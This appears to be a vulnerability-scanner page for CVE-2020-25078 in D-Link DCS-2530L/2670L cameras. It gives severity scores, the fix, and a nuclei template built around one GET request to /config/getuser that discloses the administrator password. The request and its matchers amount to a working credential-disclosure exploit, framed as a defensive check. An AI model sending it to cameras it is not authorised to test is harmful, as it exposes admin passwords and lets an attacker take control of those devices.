D-Link DCS-2530L/DCS-2670L - Administrator Password Disclosure

Exploited in the wild. Listed by CISA on 2025-08-05; known to be used by ransomware.

highseverity

7.5CVSS score

97.5%likelihood of exploitation, next 30 days

100%of all CVEs are less likely

Readycheck to confirm it

D-Link DCS-2530L before 1.06.01 Hotfix and DCS-2670L through 2.02 devices are vulnerable to password disclosures vulnerabilities because the /config/getuser endpoint allows for remote administrator password disclosure.

Impact

An attacker can obtain the administrator password, potentially leading to unauthorized access and control of the camera.

Fix

Update the camera firmware to the latest version to fix the vulnerability.

How to confirm it

Send: GET {{BaseURL}}/config/getuser?index=0
Positive when: contains "name=" and "pass=" AND contains in header "text/plain" AND status 200

Run it with nuclei: nuclei -id CVE-2020-25078 -u <target>. This check is not marked as verified by its authors.

The full check

id: CVE-2020-25078

info:
  name: D-Link DCS-2530L/DCS-2670L - Administrator Password Disclosure
  author: pikpikcu
  severity: high
  description: D-Link DCS-2530L before 1.06.01 Hotfix and DCS-2670L through 2.02 devices are vulnerable to password disclosures vulnerabilities because the  /config/getuser endpoint allows for remote administrator password disclosure.
  impact: |
    An attacker can obtain the administrator password, potentially leading to unauthorized access and control of the camera.
  remediation: |
    Update the camera firmware to the latest version to fix the vulnerability.
  reference:
    - https://supportannouncement.us.dlink.com/announcement/publication.aspx?name=SAP10180
    - https://twitter.com/Dogonsecurity/status/1273251236167516161
    - https://nvd.nist.gov/vuln/detail/CVE-2020-25078
    - https://github.com/pen4uin/vulnerability-research-list
    - https://github.com/ArrestX/--POC
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
    cvss-score: 7.5
    cve-id: CVE-2020-25078
    epss-score: 0.97511
    epss-percentile: 0.99899
    cpe: cpe:2.3:o:dlink:dcs-2530l_firmware:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: dlink
    product: dcs-2530l_firmware
  tags: cve,cve2020,dlink,kev,vkev,vuln

http:
  - method: GET
    path:
      - "{{BaseURL}}/config/getuser?index=0"

    matchers-condition: and
    matchers:
      - type: word
        words:
          - "name="
          - "pass="
        condition: and

      - type: word
        part: header
        words:
          - "text/plain"

      - type: status
        status:
          - 200

References

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